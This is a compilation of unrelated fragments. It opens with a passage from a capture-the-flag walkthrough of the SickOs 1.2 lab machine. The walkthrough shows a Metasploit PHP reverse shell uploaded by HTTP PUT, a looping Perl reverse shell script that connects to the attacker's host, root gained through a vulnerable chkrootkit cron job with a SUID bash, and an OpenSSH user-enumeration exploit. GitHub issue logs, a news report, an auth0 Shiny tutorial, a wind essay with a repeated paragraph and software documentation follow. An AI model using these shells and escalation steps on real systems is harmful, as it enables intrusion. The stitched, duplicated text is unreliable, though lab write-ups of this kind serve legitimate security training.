msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 5.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:53
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 80
LPORT => 80
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 6.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:80
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 7.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:443
OK. All set up. Let's try that again.
root@kali:~/Walkthroughs/sickos12# curl --url http://<IP_ADDRESS>/test/rev.php
Bummer. TCP port 80 didn't work. Let's recreate our rev.php file using TCP port 443 and upload again.
root@kali:~/Walkthroughs/sickos12# msfvenom -p php/reverse_php LHOST=<IP_ADDRESS> LPORT=443 -f raw > rev.php
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.php --url http://<IP_ADDRESS>/test/rev.php
root@kali:~/Walkthroughs/sickos12# curl --url http://<IP_ADDRESS>/test/rev.php
BINGO! That worked.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:443 -> <IP_ADDRESS>:55184) at 2019-04-22 17:58:13 -0400
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
pwd
/var/www/test
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Unfortunately, as stated before, the PHP reverse shell doesn't stay active very long. I'll need to set up a script to make a reverse shell connection back to my attacker on TCP port 443. Thankfully, I can write the script on my attacker system and transfer it to the victim using PUT.
root@kali:~/Walkthroughs/sickos12# cat rev.sh
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 300 seconds (5 mins)
sleep 300
done
root@kali:~/Walkthroughs/sickos12# curl -v0T rev.sh --url http://<IP_ADDRESS>/test/rev.sh
* Expire in 0 ms for 6 (transfer 0x55d917b09d00)
* Trying <IP_ADDRESS>...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55d917b09d00)
* Connected to <IP_ADDRESS> (<IP_ADDRESS>) port 80 (#0)
> PUT /test/rev.sh HTTP/1.0
> Host: <IP_ADDRESS>
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 308
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Mon, 22 Apr 2019 22:09:41 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0
Now, I just need to connect back to the PHP reverse shell session, set rev.sh as executable and run it in the background. Once it is running, I'll disconnect from the PHP reverse shell and start a listener for the perl reverse shell. It will take about 5 minutes to get back to me, but this will also handle my "Maintaining Access" step. 🙂
Maintaining Access
See above.
Privilege Escalation
Once we have a stable connection to the victim, we check the operating system information using 'uname'.
www-data@ubuntu:/$ uname -a
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux
We also check the 'os-release' file in /etc.
www-data@ubuntu:/etc$ cat os-release
NAME="Ubuntu"
VERSION="12.04.4 LTS, Precise Pangolin"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu precise (12.04.4 LTS)"
VERSION_ID="12.04"
Checking the exploit database, there is only one potential kernel exploit we can try.
Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege Escalation | exploits/linux/local/41995.c
We will use our DAV service to transfer the C file to the victim.
root@kali:~/Walkthroughs/sickos12# curl -v0T 41995.c --url http://<IP_ADDRESS>/test/41995.c
Unfortunately, we can't get the exploit to compile on the victim or our attacking machine. Let's see what else we can find on the system.
Looking through the cron jobs, I noticed there is a job for chkrootkit. Since I know some versions of this application are vulnerable to privilege escalation, I check the version.
www-data@ubuntu:/etc/cron.daily$ chkrootkit -V
chkrootkit version 0.49
We are in luck. This is a known vulnerable version.
Chkrootkit 0.49 - Local Privilege Escalation | exploits/linux/local/33899.txt
To take advantage of this vulnerability, we just need to create an executable file named '/tmp/update' with the commands we want root to run for us. Since getting outbound connections is tricky and we don't know yet how that's working, let's just have root create a SUID version of bash for us. We'll create our script on the attacking machine and then transfer it over using PUT (like before).
root@kali:~/Walkthroughs/sickos12# cat update
#!/bin/sh
chown root /tmp/bash
chmod u+s /tmp/bash
root@kali:~/Walkthroughs/sickos12# curl -v0T update --url http://<IP_ADDRESS>/test/update
Then, on the victim...
www-data@ubuntu:/tmp$ cd /tmp
www-data@ubuntu:/tmp$ cp /bin/bash .
www-data@ubuntu:/tmp$ mv /var/www/test/update .
www-data@ubuntu:/tmp$ chmod +x update
Now, we just have to wait for the next time chkrootkit runs. Since it is set to run daily, we shouldn't have to wait more than 24-hours.
Well... just a few minutes later... we see our commands have run...
www-data@ubuntu:/tmp$ ls -l
total 904
-rwsr-xr-x 1 root www-data 920788 Apr 22 15:47 bash
srwxr-xr-x 1 www-data www-data 0 Apr 22 05:38 php.socket-0
-rwxr-xr-x 1 www-data www-data 52 Apr 22 15:48 update
The bash executable is now owned by root and has the sticky bit set. This makes getting root a breeze.
www-data@ubuntu:/tmp$ ./bash -p
./bash -p
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
Let's get that flag...
bash-4.2# cd /root
bash-4.2# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txt
WoW! If you are viewing this, You have "Sucessfully!!" completed SickOs1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of Old School and testing it manually.
Thanks for giving this try.
@vulnhub: Thanks for hosting this UP!.
Pivoting
N/A
Clean Up
*** REMOVE /var/www/test/rev.php ***
*** STOP /var/www/test/rev.sh ***
*** REMOVE /var/www/test/rev.sh ***
*** REMOVE /tmp/bash ***
*** REMOVE /tmp/update ***
Additional Info
Enumerating OpenSSH Users
Let's see about that user enumeration issue in OpenSSH.
OpenSSH 2.3 < 7.7 - Username Enumeration | exploits/linux/remote/45233.py
I copy 45233.py from the exploit database and run it to check the options. However, I'm greeted with an error. Apparently the paramiko library has changed since the exploit was written and I need to update all references to _handler_table to _client_handler_table. After making this change, I'm able to run the script and enumerate some user accounts.
python 45233.py --threads 4 --outputFile ssh-enum --outputFormat json --userList /usr/share/seclists/Usernames/Honeypot-Captures/multiplesources-users-fabian-fingerle.de.txt <IP_ADDRESS>
We are able to enumerate the following accounts:
-
backup
-
bin
-
daemon
-
games
-
gnats
-
irc
-
john
-
libuuid
-
list
-
lp
-
mail
-
man
-
messagebus
-
news
-
nobody
-
proxy
-
root
-
sshd
-
sync
-
sys
-
syslog
-
uucp
-
www-data
iptables
Checking the iptables after we got root, it appears the only other outbound port that would have worked was 8080.
root@ubuntu:~# iptables-save
# Generated by iptables-save v1.4.12 on Mon Apr 22 16:08:25 2019
*filter
:INPUT DROP [165904:10347077]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [72522:5152658]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
# Completed on Mon Apr 22 16:08:25 2019
There are also some interesting "source port" rules. So, you could open a bind shell on any port on the victim, but you'd have to specify a source port of 443 or 8080 to reach it. Or, you could do a reverse shell from the victim, but you'd have to specify a source port of 22 or 80 for having it reach back to the attacker (which would require root, to bind to the low ports).
NOTE: You can use the -p option in netcat (when acting as a client) to specify your source port.
/etc/cron.d
I wasn't able to access the cron.d folder as a limited user. Once I got root, I went to see why. Turns out, this is where chkrootkit is set to run every minute (which is why I was able to elevate privs so quickly... thankfully).
root@ubuntu:/etc/cron.d# cat chkrootkit
* * * * * root /usr/sbin/chkrootkit


labeled
by Christina Chortaria at 2021-03-11 18:37:16.assigned
by Christina Chortaria at 2021-03-11 18:37:16.We get a triple library label because we follow the concept from voyager. With Alma we can get the library and the location of the library without needing to add the library label in front of them. We need to refactor the generate method in the LocationMapsGeneratorService
so that we create the locations template but without appending the library label in front of the holding label.
I will open a new issue to work on that. https://github.com/pulibrary/bibdata/issues/1133
closed
by Christina Chortaria at 2021-03-11 18:37:43.labeled
by Christina Chortaria at 2021-03-11 18:45:45.mentioned
by Kevin Reiss at 2021-03-11 18:45:45.subscribed
by Kevin Reiss at 2021-03-11 18:45:45.renamed
by Christina Chortaria at 2021-03-11 21:35:42.referenced
by Christina Chortaria at 2021-03-11 15:51:54.merged
by Christina Chortaria at 2021-03-11 15:51:54.closed
by Christina Chortaria at 2021-03-11 15:51:54.head_ref_deleted
by Christina Chortaria at 2021-03-11 15:51:54.I ran the reindex on this collection and this example is fixed: https://dpul.princeton.edu/sae_sri_lanka_dissidents/catalog/38f53706-d9d3-4e6d-b9d5-038ec98762e3
Running the other collection now. @kelynch do we want all the collections run or just certain ones?
Let's run all the collections to ensure that the issue is addressed across the lot.
closed
by Christina Chortaria at 2021-03-11 15:51:54.reopened
by None at 2021-03-11 18:16:42.mentioned
by Kate Lynch at 2021-03-11 18:16:42.subscribed
by Kate Lynch at 2021-03-11 18:16:42.labeled
by Kevin McElwee at 2021-03-11 14:24:24.This has been deployed to dataspace-dev. @matthewjchandler is reviewing it there and is going to make a few more changes.
mentioned
by Matthew J. Chandler at 2021-03-11 16:17:15.subscribed
by Matthew J. Chandler at 2021-03-11 16:17:15.assigned
by Bess Sadler at 2021-03-11 16:17:45.labeled
by James R. Griffin III at 2021-03-11 19:10:10.labeled
by James R. Griffin III at 2021-03-11 19:10:10.assigned
by James R. Griffin III at 2021-03-11 19:10:10.labeled
by James R. Griffin III at 2021-03-11 19:10:56.labeled
by James R. Griffin III at 2021-03-11 19:10:56.assigned
by James R. Griffin III at 2021-03-11 19:10:56.labeled
by Bess Sadler at 2021-03-11 21:00:31.assigned
by Bess Sadler at 2021-03-11 21:00:34.Some things are set to grayscale because the PDF generates faster and is smaller. Is this a request to bulk change some to color?
@tpendragon yes. some (like illuminated manuscripts) may be identified as needing color for the lot of a specific figgy collection. if that became a request, would it be a large one for DRDS?
Nah, one off bulk edits would be pretty easy.
Whoot! Ok. good to know! Thanks and closing :)
mentioned
by Trey Pendragon at 2021-03-10 22:25:44.subscribed
by Trey Pendragon at 2021-03-10 22:25:44.closed
by Kim Leaman at 2021-03-10 22:30:08.assigned
by Trey Pendragon at 2021-03-11 18:19:05.renamed
by Trey Pendragon at 2021-03-11 18:19:17.referenced
by None at 2021-03-11 18:57:49.merged
by None at 2021-03-11 18:57:49.closed
by None at 2021-03-11 18:57:49.head_ref_deleted
by None at 2021-03-11 18:57:50.First fetches patron "firstname", "lastname", "barcode" from bibdata using the netit.
Then it hits voyager to get the account object with the following properties: - availitems has keys: - itemID - itemTitle - expireDate - pickuplocation - requestitems has keys: - itemID - itemTitle - expireDate - pickuplocation - queuePosition - finesfees has keys: - date - title - postingType - amount - balance - chargeditems has keys: - itemId - renewable - title - dueDate - borrowing_blocks has keys: - patronGroupName - blockCount - blockReason
https://github.com/tulibraries/alma_rb/blob/main/lib/alma/user.rb#L9 this expand
option is making me think there's an undocumented option on https://developers.exlibrisgroup.com/alma/apis/docs/users/R0VUIC9hbG1hd3MvdjEvdXNlcnM=/ to get everything we need in 1 call. If so we'd pull it through the bibdata endpoint.
update: that expand only gives the total numbers / amounts. But if we pull that we can use it to determine whether we need to hit the other endpoints.
Coverage decreased (-0.005%) to 96.584% when pulling 4b1bf8ae9bbe94bc5e6025ef861ddea679be1705 on 2368-delete-demerits into 8584aea22904d9be3ddfcf0644bf82bfc293837f on main.
referenced
by None at 2021-03-11 19:44:28.merged
by None at 2021-03-11 19:44:28.closed
by None at 2021-03-11 19:44:29.head_ref_deleted
by None at 2021-03-11 19:44:29.referenced
by None at 2021-03-11 19:04:34.closed
by None at 2021-03-11 19:44:29.closed
by Francis Kayiwa at 2021-03-10 22:38:01.head_ref_force_pushed
by Francis Kayiwa at 2021-03-10 22:38:01.referenced
by Francis Kayiwa at 2021-03-11 12:17:12.merged
by Francis Kayiwa at 2021-03-11 12:17:12.closed
by Francis Kayiwa at 2021-03-11 12:17:13.head_ref_deleted
by Francis Kayiwa at 2021-03-11 12:17:14.referenced
by James R. Griffin III at 2021-03-11 20:03:57.merged
by James R. Griffin III at 2021-03-11 20:03:57.closed
by James R. Griffin III at 2021-03-11 20:03:57.head_ref_deleted
by James R. Griffin III at 2021-03-11 20:04:00.closed
by Kevin Reiss at 2021-03-11 14:20:51.head_ref_force_pushed
by Axa Mei Liauw at 2021-03-11 14:12:46.ready_for_review
by Axa Mei Liauw at 2021-03-11 14:18:55.referenced
by Kevin Reiss at 2021-03-11 14:20:51.merged
by Kevin Reiss at 2021-03-11 14:20:51.closed
by Kevin Reiss at 2021-03-11 14:20:51.head_ref_deleted
by Kevin Reiss at 2021-03-11 14:20:52.referenced
by Kevin Reiss at 2021-03-11 14:46:34.merged
by Kevin Reiss at 2021-03-11 14:46:34.closed
by Kevin Reiss at 2021-03-11 14:46:34.head_ref_deleted
by Kevin Reiss at 2021-03-11 14:46:35.deployed
by Trey Pendragon at 2021-03-11 15:28:02.referenced
by Christina Chortaria at 2021-03-11 15:29:04.merged
by Christina Chortaria at 2021-03-11 15:29:04.closed
by Christina Chortaria at 2021-03-11 15:29:04.referenced
by Christina Chortaria at 2021-03-11 15:31:59.merged
by Christina Chortaria at 2021-03-11 15:31:59.closed
by Christina Chortaria at 2021-03-11 15:32:00.Thanks @kayiwa ! Closed by https://github.com/pulibrary/princeton_ansible/pull/2156
closed
by Trey Pendragon at 2021-03-10 23:24:30.mentioned
by Francis Kayiwa at 2021-03-10 23:24:30.subscribed
by Francis Kayiwa at 2021-03-10 23:24:30.unlabeled
by Trey Pendragon at 2021-03-10 23:24:53.@faithc @ccleeton This is our last blocking release ticket. When you get a chance can you review with relevant people and see if we're in good shape now?
I did a bit more poking around and it looks great! I did ask the PS take a look and give me feedback. I will feed that over when I get it!
+1. And now that I'm seeing how much better the search seems to be, I'm wondering if we should keep the default view as "grouped by collection" despite what I suggested yesterday since that's what we had been planning to do. @ccleeton @tpendragon
@faithc Your call! I'll mark the pull request that changes it back as a draft, and we can merge it in if we decide to make all results the default view.
Ok, yeah, let's maybe keep it as is? @ccleeton What say you?
I think keeping it works. We can encourage staff and users to toggle between the two.
Great! I'm gonna close this and that one then.
mentioned
by None at 2021-03-10 23:33:13.subscribed
by None at 2021-03-10 23:33:13.mentioned
by Christa Cleeton at 2021-03-10 23:33:13.subscribed
by Christa Cleeton at 2021-03-10 23:33:13.mentioned
by Trey Pendragon at 2021-03-11 15:02:30.subscribed
by Trey Pendragon at 2021-03-11 15:02:30.mentioned
by Christa Cleeton at 2021-03-11 15:02:30.subscribed
by Christa Cleeton at 2021-03-11 15:02:30.mentioned
by None at 2021-03-11 16:08:42.subscribed
by None at 2021-03-11 16:08:42.mentioned
by Christa Cleeton at 2021-03-11 16:36:12.subscribed
by Christa Cleeton at 2021-03-11 16:36:12.closed
by Trey Pendragon at 2021-03-11 17:36:23.Marking this as Draft because we may be keeping the default as grouped by collection.
convert_to_draft
by Trey Pendragon at 2021-03-11 16:09:13.closed
by Trey Pendragon at 2021-03-11 17:36:41.With better relevancy we decided to keep it grouped by collection.
closed
by Trey Pendragon at 2021-03-11 17:37:02.This got done.
closed
by Trey Pendragon at 2021-03-11 18:23:51.closed
by Trey Pendragon at 2021-03-11 18:26:32.closed
by Trey Pendragon at 2021-03-11 18:27:53.referenced
by Trey Pendragon at 2021-03-10 23:31:18.closed
by James R. Griffin III at 2021-03-11 20:49:40.closed
by James R. Griffin III at 2021-03-11 20:52:15.closed
by James R. Griffin III at 2021-03-11 20:52:47.referenced
by James R. Griffin III at 2021-03-11 20:52:15.merged
by James R. Griffin III at 2021-03-11 20:52:15.closed
by James R. Griffin III at 2021-03-11 20:52:15.head_ref_deleted
by James R. Griffin III at 2021-03-11 20:52:16.referenced
by James R. Griffin III at 2021-03-11 20:52:47.merged
by James R. Griffin III at 2021-03-11 20:52:47.closed
by James R. Griffin III at 2021-03-11 20:52:47.head_ref_deleted
by James R. Griffin III at 2021-03-11 20:52:47.deployed
by Trey Pendragon at 2021-03-11 20:05:51.referenced
by James R. Griffin III at 2021-03-11 20:49:40.merged
by James R. Griffin III at 2021-03-11 20:49:40.closed
by James R. Griffin III at 2021-03-11 20:49:40.head_ref_deleted
by James R. Griffin III at 2021-03-11 20:49:41.assigned
by Trey Pendragon at 2021-03-12 00:34:32.referenced
by Trey Pendragon at 2021-03-12 00:39:11.referenced
by Trey Pendragon at 2021-03-12 01:37:08.@faithc Do you have an example record where this is a problem I can work off of? The one above doesn't have a collector anymore.
mentioned
by None at 2021-03-12 00:43:25.subscribed
by None at 2021-03-12 00:43:25.closed
by Trey Pendragon at 2021-03-12 00:44:26.unassigned
by Christina Chortaria at 2021-03-12 00:48:22.Closing this as these links will work come Monday.
closed
by Trey Pendragon at 2021-03-12 00:50:37.unassigned
by James R. Griffin III at 2021-03-12 00:57:16.E.g.
"container_locations"=>[{"jsonmodel_type"=>"container_location",
"status"=>"current",
"start_date"=>"2020-11-10",
"note"=>"this is a test",
"system_mtime"=>"2020-11-10 18:00:59 UTC",
"user_mtime"=>"2020-11-10 18:00:59 UTC",
"ref"=>"/locations/16979"}]
Current plan: Store this in container@note
and index it. Will have to update the aspace plugin.
The plugin's updated and I've contacted Lyrasis, this issue is blocked until they get our updates into our ASpace instance.
So fast! Thank you!
milestoned
by None at 2021-03-11 18:47:25.mentioned
by Type at 2021-03-11 18:47:25.subscribed
by Type at 2021-03-11 18:47:25.unsubscribed
by Type at 2021-03-11 18:48:58.assigned
by Trey Pendragon at 2021-03-11 19:42:33.labeled
by Trey Pendragon at 2021-03-11 20:07:41.unlabeled
by Trey Pendragon at 2021-03-12 01:33:50.head_ref_force_pushed
by Trey Pendragon at 2021-03-12 01:34:34.head_ref_force_pushed
by Trey Pendragon at 2021-03-12 01:35:27.


Click inside the simplex to see solution trajectories for three different evolutionary dynamics!
Each point in the simplex represents the frequencies of three strategy-types in a large population of agents.
Trajectories within the simplex show how the population composition changes over time.
Zeeman's game is interesting because it has an interior attractor that is not an evolutionary stable strategy. It is also a game in which different evolutionary dynamics have very different basins of attraction.
By clicking inside the simplex you can see solution trajectories for the following three evolutionary dynamics:
Each agent picks another agent at random, and then imitates that agent's strategy with probability propotional to the positive difference between that agent's expected payoff and the population's average payoff.
Each agent picks a strategy at random and adopts that strategy with probability proportional to its excess payoff. A strategy's excess payoff is the positive difference between that strategy's expected payoff and the population average payoff.
Each agent picks another agent at random, and then imitates that agent's strategy with probability proportional to the positive difference between her expected payoff and the other agent's expected payoff.
Numerical integration is performed using Euler's method with step size equal to .01.


{% load static %}
Your username or password is incorrect. Please try again.
User does not have any branch access added. Please contact administrator to grant access.


Graph Making Tool
Markdown Editor
Markdown to html converter and webview tool.
Syntax Highlighter
Hilight syntax of your program code.


Professional Electronics Simulation and Anaysis on your Browser!
From Nandi Mechatronics Pvt. Ltd.
we Provide an extensive library of both passive & active electronics components with SPICE compatible layout.
Run mutiple Osilloscope interfaces at the same time , which is very convinient for model testing.
Import to SPICE friendly format text file and use it later in our software, great for sharing your work with the world!
Our software is completely open-sourced with GPL licensing.
We provide in-depth technical support for Design Manufacturing and Engineering Projects in the control system domain apart from taking up small to medium scale electronics and electrical projects with complete end-to-end solution from hardware conceptualisation , implementation to PCB design
We also provide custom control system software design along with support for industry leading Simulation software like NX, Simscale


tutorial.Rmd
The goal of {auth0}
is to implement an authentication scheme to Shiny using OAuth Apps through the freemium service Auth0.
To create your authenticated shiny app, you need to follow the steps below. The full decription can be found in the README
of the package site.
http://localhost:8080
to the “Allowed Callback URLs”, “Allowed Web Origins” and “Allowed Logout URLs”.
http://localhost:8080
to another port.fooBar
) in “Allowed Web Origins”.Now, let’s go to R!
_auth0.yml
fileauth0::use_auth0()
:auth0::use_auth0()
You can set the directory where this file will be created using the path=
parameter. See ?auth0::use_auth0
for details. Your _auth0.yml
file should be like this:
name: myApp
auth0_config:
api_url: !expr paste0('https://', Sys.getenv("AUTH0_USER"), '.auth0.com')
credentials:
key: !expr Sys.getenv("AUTH0_KEY")
secret: !expr Sys.getenv("AUTH0_SECRET")
Run usethis::edit_r_environ()
and add these three environment variables:
AUTH0_USER=johndoe
AUTH0_KEY=5wugt0W...
AUTH0_SECRET=rcaJ0p8...
There’s how you identify each of them (see the image below):AUTH0_USER
is your username, which can be found on the top corner of the site. AUTH0_KEY
is your Client ID, which can be copied from inside the app page. AUTH0_SECRET
is your Client Secret, which can be copied from the app page.
You can find more information about environment variables here. You can also fill these information directly in the _auth0.yml
file (see below). If you do so, don’t forget to save the _auth0.yml
file after editing it.
Write a simple shiny app in a app.R
file, like this:
library(shiny)
ui <- fluidPage(
fluidRow(plotOutput("plot"))
)
server <- function(input, output, session) {
output$plot <- renderPlot({
plot(1:10)
})
}
# note that here we're using a different version of shinyApp!
auth0::shinyAppAuth0(ui, server)
Note: If you want to use a different path to the auth0
configuration file, you can either pass it to shinyAppAuth0()
or set the auth0_config_file
option by running options(auth0_config_file = "path/to/file")
.


Popeyes killing: First picture of man stabbed to death over chicken sandwich row
Kevin Davis, 28, was stabbed to death after jumping the queue at Popeyes, in Oxon Hill, Maryland, US, reports say
by Matthew Dresch, https://www.mirror.co.uk/authors/matthew-dresch/This is the first picture to be released of the man reportedly stabbed to death in a row over a chicken sandwich at Popeyes.
Kevin Tyrell Davis, 28, of Oxon Hill, Maryland, US, was fatally knifed after he jumped the queue at the fast food restaurant on Monday, police say.
Mr Davis was stabbed outside the branch 15 seconds after being confronted by another customer for cutting in line, reports say.
At the time of the row, around three dozen people were queueing up at the restaurant, following the recent release of Popeyes hugely popular chicken burger.
The Popeyes chicken burger craze has gripped America, with videos emerging of impatient customers ranting and fighting over the delicious meal.
The £3.10 dish originally launched in August, however it sold out in two weeks and was only just reintroduced on Sunday.
Friends of Mr Davis described his death as 'senseless', while police called it 'pointless'.
Police Chief Hank Stawinski said: "Something we have to question in terms of how we're interacting with one another as a society, is how does a confrontation over cutting line lead to a death.
"People are asking how something so pointless could occur. This is pointless, this is disrespectful and that's why I'm asking for the community's help."
Mr Davis suffered a single stab wound and was rushed to hospital, however he died 51 minutes later.
Police have released CCTV images of the suspect and a woman he was with at the time of the stabbing.
Police are looking to speak to the pair, who fled the car park.
Tributes have been paid to Mr Davis, who was known as Oside KD, on Instagram .
One pal wrote: "LongLiveKD Another Bro From the Lawd. Senseless..."


To understand the impact of wind on the Iowa, start at the origin of the land's topography. Iowa's landscape was formed over one million years ago. The glaciers left behind a smooth landscape. A moraine of abundant grasslands and shallow wetlands.
The Baxoje Tribe, the original inhabitants, named the terrain: IOWAY--'the beautiful land'.
Glaciers created the black, rich dirt--an ideal combination of silt, clay, and sand. The most fertile soil in the world.In westernmost Iowa, the Loess Hills rise 200 feet above the flat plains forming a narrow band running north-south 200 miles along the Missouri River. The steep angles and sharp bluffs on the western side of the Loess Hills are in sharp contrast to the flat rectangular cropfields of the Missouri River flood plain. The extreme thickness of the loess layers and the intricately carved terrain of the Loess Hills make them a rare geologic feature. Today we know that loess was eolian (deposited by the wind). During the Ice Age, glaciers ground underlying rock into a fine powderlike sediment called "glacial flour." As temperatures warmed, sediment eventually deposited on flood plains downstream, eventually creating the Loess Hills.
Wind is the flow of gases on a large scale. On the surface of the Earth, wind consists of the bulk movement of air. In outer space, solar wind is the movement of gases or charged particles from the Sun through space, while planetary wind is the outgassing of light chemical elements from a planet's atmosphere into space. Winds are commonly classified by their spatial scale, their speed, the types of forces that cause them, the regions in which they occur, and their effect. The strongest observed winds on a planet in the Solar System occur on Neptune and Saturn. Winds have various aspects, an important one being its velocity (wind speed); another the density of the gas involved; another its energy content or wind energy.
Wind is the flow of gases on a large scale. On the surface of the Earth, wind consists of the bulk movement of air. In outer space, solar wind is the movement of gases or charged particles from the Sun through space, while planetary wind is the outgassing of light chemical elements from a planet's atmosphere into space. Winds are commonly classified by their spatial scale, their speed, the types of forces that cause them, the regions in which they occur, and their effect. The strongest observed winds on a planet in the Solar System occur on Neptune and Saturn. Winds have various aspects, an important one being its velocity (wind speed); another the density of the gas involved; another its energy content or wind energy.


R-Google Summer of Code | Dashboard
Projects
Students
Mentors
Years
R-GSoC Projects All-Time
Average Students Per Year
Average Mentors per Year
Average Projects Per Year
Students Returned As Mentors
Students Returned For Another GSoC
Projects Co-Mentored by Past Students
Work-Product Distribution of Projects
Leaderboard
| Name of Mentor | Projects |
|---|
| Students Returning As Mentors (Top 5) | Projects Mentored |
|---|


Assignment 1- Rodolfo Castro, Domenic Bongiovanni, Yared Demissie
Submit Form
Filter for the name of a restaurant


Zap! Grouping Example
Turn your speakers on and click the screen to play a random sample from the group.


This page provides a high-level overview of the TESLA primitives made available to programmers wishing to add temporal assertions to their code after setting up the build environment. Programmers wishing to extend TESLA itself should consult the API documentation.
Most code examples on this page come from demos/smoketest/example.c in the TESLA repository.
TESLA's header file (tesla.h) defines TESLA
primitives with a __tesla
prefix to avoid namespace collisions.
Rather than using these primitives directly, we recommend that you take
the template tesla-macros.h
and modify it for your needs, eliminating collisions with names in your project
but keeping most of the programmer-friendly names that it suggests.
TESLA accepts two types of input: inline assertions and explicit automata. Both inputs describe the expected temporal behaviour of software; TESLA checks actual run-time behaviour against such descriptions.
Inline assertions are typically declared with the
TESLA_GLOBAL
or
TESLA_PERTHREAD
macros, or else the
per-thread convenience wrapper
TESLA_WITHIN
.
These macros wrap the
__tesla_inline_assertion
function,
which expects several arguments:
TESLA_GLOBAL
and
TESLA_PERTHREAD
expect explicit start and end bounds
TESLA_WITHIN
expects a
function whose entry and exit are the start and end bounds
For example, a simple assertion taken from
demos/smoketest/example.c
:
/* A very simple TESLA assertion. */
TESLA_WITHIN(example_syscall,
previously(security_check(ANY(ptr), o, op) == 0));
Programmers can also describe automata directly; this is useful for explicit state machines such the TCP state machine.
Automata are declared and defined like C functions. The expected signature is:
/* Declarations */
automaton(assertion_name, struct struct_type *);
automaton(some_other_automaton, struct struct_type *);
/* Definition */
automaton(assertion_name, struct struct_type *sp)
{
/*
* a sequence of TESLA expressions
* that reference the 'sp' pointer,
* for instance:
*/
some_other_automaton(sp);
done;
}
The single variable referenced by the automaton must be declared as a formal parameter. All sub-automata (e.g. some_other_automaton() in the above example) must operate on the same type.
Automata are bound to structure instance lifetimes with the TESLA_STRUCT_AUTOMATON macro:
TESLA_STRUCT_AUTOMATON(struct tcpcb *tp, my_tcpcb_assertion, GLOBAL,
called(tcp_init(tp)),
returned(tcp_free, tp));
There are nine kinds of TESLA expressions: three abstract expressions, three concrete events and three control predicates.
TESLA expressions may be combined with boolean operators.
Currently, the only supported operator is OR ('||
').
instead of a AND b
, programmers can write
a
and b
as separate
assertions.
A sequence of events can be specified with the TSEQUENCE macro, whose parameters are themselves TESLA expressions. For instance:
TSEQUENCE(
foo(x) == 0,
bar(y) || baz(z)
)
Many simple assertions can be written with the
previously
and
eventually
keywords, which provide wrappers around
TSEQUENCE
:
/** A more programmer-friendly way to write assertions about the past. */
#define previously(...) TSEQUENCE(__VA_ARGS__, TESLA_NOW)
/** A more programmer-friendly way to write assertions about the future. */
#define eventually(...) TSEQUENCE(TESLA_NOW, __VA_ARGS__)
Automata can "include" explicitly-declared automata by "calling" them:
automaton(active_close, struct tcpcb*);
automaton(established, struct tcpcb*);
automaton(my_tcpcb_assertion, struct tcpcb *tp)
{
tp->t_state = TCPS_SYN_RECEIVED,
established(tp) || active_close(tp)
}
Programmers can specify that they expect a function to be called with particular parameters and/or return a particular value. This specification can be written in a very C-like manner:
/* A very simple TESLA assertion. */
previously(security_check(ANY(ptr), o, op) == 0)
This specifies that, within the TESLA automaton's bounds,
the security_check() function was previously called with the parameters
o
and op
and that it
returned 0.
The first parameter
ANY(ptr)
is a "don't care": any call to security_check() with
o
and op
that returns 0
satisfies the expression.
Argument values can be derived from structure fields, as shown here:
previously(security_check(ANY(ptr), o, some_struct->operation) == 0)
Bitmask arguments can be described with
flags(FLAG1|FLAG2)
,
meaning that FLAG1
and FLAG2
must be present
in the argument,
or bitmask(FLAG1|FLAG2)
,
meaning that only FLAG1
and FLAG2
may be present in the mask.
Values passed or returned by reference may be referred to using the address-of operator. The value referred to is the value pointed to at the moment of call or return, depending on whether a call or return is being described.
int get_object(int id, struct **ptr_out);
/* [...] */
{
struct object *o = a_pointer_from_somewhere;
TESLA_WITHIN(some_function, previously(get_object(ANY(int), &o)));
